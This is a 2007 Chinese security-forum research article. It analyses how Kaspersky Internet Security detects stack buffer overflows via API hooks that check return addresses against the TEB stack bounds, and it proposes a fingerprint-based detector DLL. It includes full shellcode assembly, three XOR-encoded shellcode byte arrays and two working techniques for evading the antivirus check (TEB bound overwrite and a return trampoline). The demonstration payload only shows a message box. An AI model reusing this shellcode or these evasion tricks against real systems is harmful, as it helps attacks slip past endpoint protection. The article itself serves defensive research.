基于栈指纹检测缓冲区溢出的一点思路
Author:gyzy
Email:gyzy@msn.com
Homepage:http://www.gyzy.org
Date:2007-08-08
带图片的PDF版本及随文工程见附件
一. 现有的检测栈溢出的模式
二. 现有检测体系存在的不足
三. 针对引擎要做的改进
四. 关于未来
引言
当前主动防御等的概念逐渐进入人们视野，国外主流的杀毒软件都有栈溢出的检测模块，尽管相对传统的木马和病毒来说，缓冲区溢出仍占攻击的很小一部分，但是基于传统的“木桶理论”，安全是一个整体，威胁还是无处不在。
现有的栈溢出检测模式
整篇文章我都以Kaspersky Internet Security(KIS 6)作为例子，KIS7中这一部分并无大的改进。以下是测试用的Shellcode：
__asm
{
/* --------------------解码开始---------------------- */
jmp decode_end
decode_start:
pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x13D // 要解码的长度
decode_loop:
xor byte ptr [edx+ecx], 0x99
loop decode_loop
jmp decode_ok
decode_end:
call decode_start
decode_ok:
/*--------------------解码结束---------------------- */
jmp end
start:
pop edx // 指令表起始地址存放在 esp -> edx
// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
//
// 输入:
// edx => 指令表起始地址 (不需要)
//
// 输出:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
mov eax, fs:0x30 // PEB
mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
mov esi, [eax + 0x1c] // InInitOrder.flink
lodsd
mov eax,[eax+8]
// ========== 定位GetProcAddress的地址 ==========
//
// 输入:
// eax => kernel32.dll起始地址
// edx => 指令表起始地址
//
// 输出:
// ebx => kernel32.dll起始地址
// eax => GetProcAddress地址
// edx => 指令表起始地址
mov ebx,eax // 取kernel32.dll的起始地址 DLL Base Address
mov esi,dword ptr [ebx+3Ch] // esi = PE header offset
mov esi,dword ptr [esi+ebx+78h]
add esi,ebx // esi = exports directory table
mov edi,dword ptr [esi+20h]
add edi,ebx // edi = name pointers table
mov ecx,dword ptr [esi+14h] // ecx = number of name pointers
xor ebp,ebp
push esi
search_GetProcAddress:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx // 把输出函数名表起始地址存人edi
mov esi,edx // 指令表起始地址存入esi
//mov ecx,0Eh // 函数getprocAddress长度为0Eh
push 0xE
pop ecx
repe cmps byte ptr [esi],byte ptr [edi]
je search_GetProcAddress_ok
pop ecx
pop edi
add edi,4
inc ebp
loop search_GetProcAddress
search_GetProcAddress_ok:
pop ecx
pop edi
pop esi
mov ecx,ebp
mov eax,dword ptr [esi+0x24]
add eax,ebx
shl ecx,1
add eax,ecx
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+0x1C]
add eax,ebx
shl ecx,2
add eax,ecx
mov eax,dword ptr [eax]
add eax,ebx
// ============ 调用函数解决api地址 ============
//
// 输入:
// ebx =>kernel32.dll起始地址
// eax =>GetProcAddress地址
// edx =>指令表起始地址
//
// 输出:
// edi =>函数地址base addr
// esi =>指令表当前位置
// edx =>GetProcAddress 地址
mov edi,edx
mov esi,edi
add esi,0xE // 0xE 跳过1个字符串"GetProcAddress"32177368
// ============ 解决kernel32.dll中的函数地址 ============
mov edx,eax // 把GetProcAddress 地址存放在edx
//mov ecx,0x5 // 需要解决的函数地址的个数
push 0x2
pop ecx
call locator_api_addr
// ============ 加载user32.dll ============
add esi,0xd
// 硬编码可以节省两个字节
push edx // edx是GetProcAddress 地址
push esi // 字符"urlmon"地址
//mov dword ptr fs:[4],0x0012FFFF
//mov dword ptr fs:[8],0x0012FFFF
call dword ptr [edi-4] // LoadLibraryA
// ============ 解决函数地址 ============
pop edx
mov ebx,eax // 将urlmon.dll起始地址存放在ebx
//mov ecx,1 // 函数个数
push 0x1
pop ecx // 函数个数 <-这种方式省两个字节
call locator_api_addr
// 取得一些空间存放系统路径
sub esp, 0x20
mov ebx, esp
//MessageBox的参数
mov dword ptr [ebx], 0x797a7967 // "yzyg"
mov dword ptr [ebx+0x4], 0x00000000 // "00"
push 0
push ebx
push ebx
push 0
call [edi-0x4] //MessageBoxA
// ExitProcess
push eax
call dword ptr [edi-0x0c] // ExitProcess
// ============ 解决api地址的函数 ============
//
// 输入参数:
// ecx 函数个数
// edx GetProcAddress 地址
// ebx 输出函数的dll起始地址
// esi 函数名表起始地址
// edi 保存函数地址的起始地址
locator_api_addr:
locator_space:
xor eax,eax
lodsb
test eax,eax // 寻找函数名之间的空格x00
jne locator_space
push ecx
push edx
push esi // 函数名
push ebx // 输出函数的dll起始地址
//mov dword ptr fs:[4],0x0012FFFF
//mov dword ptr fs:[8],0x0012FFFF
call edx
pop edx
pop ecx
stos dword ptr [edi]
loop locator_space
xor eax,eax
ret
// ================== 结束调用 ====================
end:
call start
}
通过这个简单的Shellcode可以窥探到卡巴对于栈溢出的检测模式，通过将shellcode拷贝到栈中执行的方式也模拟栈溢出，期间KIS共弹出了5次Buffer Overrun的警告，从Shellcode中大致可以推断出被Hook的函数是GetProcAddress(4次)和LoadLibraryA(1次)，如图1
以下是GetProcAddress的反汇编代码：
7C883FEC > 55 PUSH EBP
7C883FED 8BEC MOV EBP,ESP
7C883FEF 90 NOP
7C883FF0 5D POP EBP
7C883FF1 - E9 997EFF75 JMP F287BE8F
7C883FF6 90 NOP
7C883FF7 90 NOP
很明显GetProcAddress被Hook了，LoadLibrary系列函数也是一样，那么究竟卡巴是如何检测栈溢出的产生的呢，再看它的驱动：
lkd> u f287BE8F
f287be8f 8b442404 mov eax,dword ptr [esp+4]
f287be93 56 push esi
f287be94 8b74240c mov esi,dword ptr [esp+0Ch]
f287be98 6a00 push 0
f287be9a 56 push esi
f287be9b 6880be87f2 push 0F287BE80h
f287bea0 8d4c2414 lea ecx,[esp+14h]
f287bea4 50 push eax
lkd> u
f287bea5 51 push ecx
f287bea6 e8f5f3ffff call f287b2a0
f287beab 84c0 test al,al
f287bead 7410 je f287bebf
f287beaf 6a05 push 5
f287beb1 33f6 xor esi,esi
f287beb3 ff159cc087f2 call dword ptr ds:[0F287C09Ch]
f287beb9 8bc6 mov eax,esi
lkd> u
f287bebb 5e pop esi
f287bebc c20800 ret 8
f287bebf 688fbe87f2 push 0F287BE8Fh
f287bec4 e807f6ffff call f287b4d0
f287bec9 8d1440 lea edx,[eax+eax*2]
f287becc 56 push esi
f287becd 8b44240c mov eax,dword ptr [esp+0Ch]
f287bed1 50 push eax
lkd> u f287b2a0
f287b2a0 8b442408 mov eax,dword ptr [esp+8]
f287b2a4 8b542404 mov edx,dword ptr [esp+4]
f287b2a8 56 push esi
f287b2a9 8d4c240c lea ecx,[esp+0Ch]
f287b2ad 50 push eax
f287b2ae 51 push ecx
f287b2af 52 push edx
f287b2b0 e8fbfdffff call f287b0b0
lkd> u f287b0b0
f287b0b0 55 push ebp
f287b0b1 8bec mov ebp,esp
f287b0b3 83ec24 sub esp,24h
f287b0b6 64a104000000 mov eax,dword ptr fs:[00000004h]
f287b0bc 8945f8 mov dword ptr [ebp-8],eax
f287b0bf 64a108000000 mov eax,dword ptr fs:[00000008h]
f287b0c5 8945fc mov dword ptr [ebp-4],eax
f287b0c8 8b4508 mov eax,dword ptr [ebp+8]
lkd> u
f287b0cb 8b4d0c mov ecx,dword ptr [ebp+0Ch]
f287b0ce 8b50fc mov edx,dword ptr [eax-4]
f287b0d1 8b45fc mov eax,dword ptr [ebp-4]
f287b0d4 3bd0 cmp edx,eax
f287b0d6 8911 mov dword ptr [ecx],edx
f287b0d8 7210 jb f287b0ea
f287b0da 3b55f8 cmp edx,dword ptr [ebp-8]
f287b0dd 730b jae f287b0ea
lkd> u
f287b0df b8e7030000 mov eax,3E7h
f287b0e4 8be5 mov esp,ebp
f287b0e6 5d pop ebp
f287b0e7 c20c00 ret 0Ch
f287b0ea 8b4510 mov eax,dword ptr [ebp+10h]
f287b0ed 3d00000068 cmp eax,68000000h
f287b0f2 0f829e000000 jb f287b196
f287b0f8 3d00000065 cmp eax,65000000h
其中f287b0d4处的几条比较指令可能就是判断溢出与否的关键，上面有两条指令也特别值得注意：
mov eax,dword ptr fs:[00000004h]
mov eax,dword ptr fs:[00000008h]
以下是TEB的数据结构：
typedef struct _TEB { // Size: 0xF88
/*000*/ NT_TIB NtTib;
/*01C*/ VOID *EnvironmentPointer;
/*020*/ CLIENT_ID ClientId; // PROCESS id, THREAD id
/*028*/ HANDLE ActiveRpcHandle;
/*02C*/ VOID *ThreadLocalStoragePointer;
/*030*/ PEB *ProcessEnvironmentBlock; // PEB
/*034*/ ULONG LastErrorValue;
/*038*/ ULONG CountOfOwnedCriticalSections;
/*03C*/ ULONG CsrClientThread;
/*040*/ ULONG Win32ThreadInfo;
/*044*/ UCHAR Win32ClientInfo[0x7C];
/*0C0*/ ULONG WOW32Reserved;
/*0C4*/ ULONG CurrentLocale;
/*0C8*/ ULONG FpSoftwareStatusRegister;
/*0CC*/ UCHAR SystemReserved1[0xD8]; // ExitStack ???
/*1A4*/ ULONG Spare1;
/*1A8*/ ULONG ExceptionCode;
/*1AC*/ UCHAR SpareBytes1[0x28];
/*1D4*/ UCHAR SystemReserved2[0x28];
/*1FC*/ UCHAR GdiTebBatch[0x4E0];
/*6DC*/ ULONG gdiRgn;
/*6E0*/ ULONG gdiPen;
/*6E4*/ ULONG gdiBrush;
/*6E8*/ CLIENT_ID RealClientId;
/*6F0*/ ULONG GdiCachedProcessHandle;
/*6F4*/ ULONG GdiClientPID;
/*6F8*/ ULONG GdiClientTID;
/*6FC*/ ULONG GdiThreadLocalInfo;
/*700*/ UCHAR UserReserved[0x14];
/*714*/ UCHAR glDispatchTable[0x460];
/*B74*/ UCHAR glReserved1[0x68];
/*BDC*/ ULONG glReserved2;
/*BE0*/ ULONG glSectionInfo;
/*BE4*/ ULONG glSection;
/*BE8*/ ULONG glTable;
/*BEC*/ ULONG glCurrentRC;
/*BF0*/ ULONG glContext;
/*BF4*/ ULONG LastStatusValue;
/*BF8*/ LARGE_INTEGER StaticUnicodeString;
/*C00*/ UCHAR StaticUnicodeBuffer[0x20C];
/*E0C*/ ULONG DeallocationStack;
/*E10*/ UCHAR TlsSlots[0x100];
/*F10*/ LARGE_INTEGER TlsLinks;
/*F18*/ ULONG Vdm;
/*F1C*/ ULONG ReservedForNtRpc;
/*F20*/ LARGE_INTEGER DbgSsReserved;
/*F28*/ ULONG HardErrorsAreDisabled;
/*F2C*/ UCHAR Instrumentation[0x40];
/*F6C*/ ULONG WinSockData;
/*F70*/ ULONG GdiBatchCount;
/*F74*/ ULONG Spare2;
/*F78*/ ULONG Spare3;
/*F7C*/ ULONG Spare4;
/*F80*/ ULONG ReservedForOle;
/*F84*/ ULONG WaitingOnLoaderLock;
} TEB, *PTEB;
typedef struct _NT_TIB {
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // 00h Head of exception
// record list
PVOID StackBase; // 04h
PVOID StackLimit; // 08h
PVOID SubSystemTib; // 0Ch
union { // 10h
PVOID FiberData; // for TIB
ULONG Version; // for TEB
};
PVOID ArbitraryUserPointer; // 14h Available
// for application use
struct _NT_TIB *Self; // 18h Linear address
// of TEB structure
} NT_TIB;
typedef NT_TIB *PNT_TIB;
Fs:[4]和Fs:[8]分别是当前线程的栈基址和栈顶，现在思路就比较明朗了，卡巴就是通过检测GetProcAddress等关键API的返回地址是否处于栈中来判定栈溢出的发生。
现有检测模式的不足
既然知道了他的检测模式，那么突破就是轻而易举的事了，有两种思路：
修改TEB中Fs:[4]和Fs:[8]的值来使卡巴认为返回地址不在栈中.就是上面Shellcode中在call之前注释掉的部分mov dword ptr fs:[4],0x0012FFFF和mov dword ptr fs:[8],0x0012FFFF。在测试的时候发现使用这一方法能使GetProcAddress绕过卡巴的检测，但是LoadLibrary系列却不行，百思不得其解，若有高人知道，请指教（可能TEB跟线程有关，LoadLibrary涉及到多线程方面的一些问题）。
第二种方法就是在内存中找一个相对固定又可写可执行的地址写入push 返回地址 ret这样一系列的指令，然后再将函数返回地址指向其来绕过卡巴的检测。具体的实现如下：在原来调用API的地方，如call dword ptr [edi-4] // LoadLibraryA
使用如下方法来代替:
mov edx,dword ptr [edi-4] // LoadLibraryA
call gcall
其中gcall代码如下：
// ============ 绕过缓冲区溢出检查的call ============
//
// 输入参数:
// edx 函数地址
// 0x7C884000
gcall:
pop eax //将真正的返回地址保存到eax
mov ecx,0x7C884000
push ecx
mov byte ptr [ecx],0x68 //push指令
mov dword ptr [ecx+1],eax //写入地址
mov byte ptr [ecx+5],0xC3 //写入ret指令
jmp edx //执行真正的函数
0x7C884000是Kernel32数据段的地址，当然，可以用其它等价的地址替换。再次运行shellcode，卡巴没有任何反应，如图2：
针对性的改进
在卡巴现有的检测中还是有一个Bug，就是TEB中的栈基址和栈顶数据是不可信的，应当在初始化时保存，而不应每次都去重新获取，当然这种检测机制本身就是不可靠的，需要改进，这就是本文要提出的基于栈指纹检测缓冲区溢出，说白了就是利用特征码+API Hook来更可靠的检测栈溢出的发生，防止迂回绕过我们的检测，因为有一点是肯定的：栈溢出发生时Shellcode是在栈中的，这个想法也是借鉴自反病毒的概念。微软公司在VC7开始提供了一个/GS编译选项来防止栈溢出带来的危害，但是事实证明还是能被绕过，例如：覆盖SEH。笔者认为安全产品做的越前端就越不容易被绕过，比如拦截Shellcode的行为肯定要比拦截溢出的发生有效的多。
笔者利用Detour库做了一个检测的模型，代码如下：
// dll.cpp : 定义 DLL 应用程序的入口点。
//
#include <windows.h>
#include "detours.h"
#include <dbt.h>
DETOUR_TRAMPOLINE(HMODULE WINAPI fLoadLibraryA(LPCTSTR lpFileName),LoadLibraryA);
HMODULE WINAPI MyLoadLibraryA(LPCTSTR lpFileName)
{
DWORD stackbase,stacklimit,retaddr;
__asm{
mov eax,dword ptr [esp+0x1c]
mov retaddr,eax
mov eax,dword ptr fs:[4]
mov stackbase,eax
mov eax,dword ptr fs:[8]
mov stacklimit,eax
}
if ( retaddr < stacklimit && retaddr > stackbase )
{
overflow:
MessageBox(0,"BufferOverflow Detected!","gyzy",MB_ICONINFORMATION);
return NULL;
}
//0x64 0xA1 0x30 0x00 0x00 0x00
__asm{
push 0x100
pop ecx
mov esi,esp
compare:
cmp dword ptr [esi],0x0030A164 //检测mov eax,fs:[30]
je overflow
inc esi
loop compare
}
return fLoadLibraryA(lpFileName);
}
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DetourFunctionWithTrampoline((PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA);
break;
case DLL_PROCESS_DETACH:
DetourRemove((PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA);
break;
}
return TRUE;
}
这儿只是为了达到演示的目的只挂接了LoadLibraryA，并且配合了卡巴的检测方法，目的是提高检测的效率。这使用的指纹就是mov eax,fs:[30]，几乎每个Shellcode都会用到来获取Kernel32的基址，当然如果要成为一个商业产品，那无疑需要降低误报的几率,那就需要更可靠的特征码。
#include <windows.h>
unsigned char shellcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x21\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x45\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0"
"\x71\xD8\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x12\xCE\x65\x71\xD5\x99"
"\x99\x99\xC3\x12\x41\xF3\x98\xC0\x71\xB0\x99\x99\x99\x1A\x75\xB9"
"\x12\x45\x5E\x9A\xFE\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99\xF3"
"\x99\xCA\xCA\xF3\x99\x12\xCE\x65\x71\xB8\x99\x99\x99\xC9\x12\xCE"
"\x6D\x71\x81\x99\x99\x99\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF"
"\xCA\x71\x91\x99\x99\x99\xC3\xC0\x32\x7B\x72\xAA\x59\x5A\xC1\x20"
"\x99\xD9\x11\xE5\xC8\x5F\x98\xF1\x10\xD8\x98\x5F\xD8\x9C\x5A\x66"
"\x7B\x71\x86\x66\x66\x66"
"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC"
"\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5"
"\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4"
"\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";
unsigned char sh2llcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x28\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x7A\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0"
"\x71\xD1\x99\x99\x99\x1A\x5F\x94\xCB\xCF\xFD\x5E\x9C\x9D\x99\x99"
"\x99\x66\x66\x8B\x99\xFD\x5E\x9C\x91\x99\x99\x99\x66\x66\x8B\x99"
"\x66\xCE\x65\xC3\x12\x41\xF3\x98\xC0\x71\x86\x99\x99\x99\x1A\x75"
"\xB9\x12\x45\x5E\x9A\xFE\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99"
"\xF3\x99\xCA\xCA\xF3\x99\x66\xCE\x65\xC9\x66\xCE\x6D\xAA\x59\x35"
"\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\xFD\x5E\x9C\x9D\x99\x99\x99\x66"
"\x66\x8B\x99\xFD\x5E\x9C\x91\x99\x99\x99\x66\x66\x8B\x99\x66\x4B"
"\xC3\xC0\x32\x7B\x41\xAA\x59\x5A\x71\x81\x66\x66\x66"
"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC"
"\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5"
"\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4"
"\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";
unsigned char sh3llcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\xFC\x00\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x2E\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0"
"\x71\xAB\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x98\xC0\x71\x86\x99\x99\x99\x1A\x75\xB9\x12\x45\x5E\x9A\xFE"
"\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99\xF3\x99\xCA\xCA\xF3\x99"
"\x66\xCE\x65\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB"
"\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xDD\x66\x66"
"\x66"
"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC"
"\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5"
"\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4"
"\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
//加载溢出防护dll
LoadLibrary("AntiOverflow.dll");
char sc[512];
ZeroMemory(sc,512);
memcpy(sc,(char*)shellcode,512);
__asm
{
lea eax,sc
jmp eax
}
return 0;
}
第一个Shellcode是能绕过卡巴检测的，第二个是修改了TEB中栈基址和栈顶值的Shellcode，卡巴会报一次，第三个是原始的Shellcode，卡巴会报5次。在加载了上述的溢出防护dll之后，3次测试都准确的拦截了，如图3:
关于未来
从效率的角度来看，Ring0下的Hook显然要比Ring3下高，因为挂接了大量此类函数会使系统的效率明显下降，以及代码的效率问题，都是需要提高的。另外就是指纹的选择，可以借鉴杀毒软件中复合特征码的思路来做。历来对于堆溢出的检测一直没有好的思路，或许指纹检测也是一个权宜之计。错误或纰漏在所难免，在此还恳请大家指正。
附参考文献:
[1] 作者不详.《Windows NT内核分析》
- 标 题： 基于栈指纹检测缓冲区溢出的一点思路
- 作 者：孤烟逐云
- 时 间：2007-08-08 13:48
- 附 件：Finger.rar
- 链 接：http://bbs.pediy.com/showthread.php?t=49276
